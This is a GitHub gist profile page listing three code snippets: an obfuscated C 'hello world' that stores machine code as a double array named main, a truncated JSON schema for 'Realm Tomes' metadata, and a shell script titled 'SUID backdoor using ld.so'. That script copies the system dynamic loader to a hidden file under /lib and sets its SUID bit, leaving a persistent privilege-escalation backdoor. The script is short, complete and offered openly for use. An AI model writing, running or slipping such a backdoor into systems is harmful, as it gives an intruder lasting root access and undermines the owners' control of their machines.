Skip to content

Instantly share code, notes, and snippets.

View BlueishSapphire's full-sized avatar

BlueishSapphire BlueishSapphire

  • United States
  • 16:58 (UTC -05:00)
View GitHub Profile
@BlueishSapphire
BlueishSapphire / hello.c
Last active September 19, 2025 01:36
Hello, world!
// compile with -Wall to see gcc's greatest warning
__attribute__((section(".text")))
double main[] = {
6.434034871449969e+125, 1.9656826314093183e-236,
1.1769183410865075e-94, 7.069851040752367e-260,
};
@BlueishSapphire
BlueishSapphire / suid_ld.sh
Last active April 28, 2025 22:19
SUID backdoor using ld.so
sh_elf=$(file -LbP bytes=6 /bin/sh)
suid_ld=
find /lib/ -name 'ld.so*' -or -name 'ld-*.so*' -print0 2>/dev/null | while read -d $'\0' file; do
ld_elf=$(file -LbP bytes=6 "$file")
if [[ "$sh_elf" == "$ld_elf" ]]; then
suid_ld="$(dirname $file)/.$(basename $file)"
cp "$file" "$suid_ld"
chmod +s "$suid_ld"
fi
done
@BlueishSapphire
BlueishSapphire / metadata.schema.json
Last active April 23, 2025 18:26
Schema for metadata.yml for Realm Tomes
{
"$schema": "http://json-schema.org/draft-07/schema",
"type": "object",
"required": [
"name",
"description",
"author",
"tactic"
],
"properties": {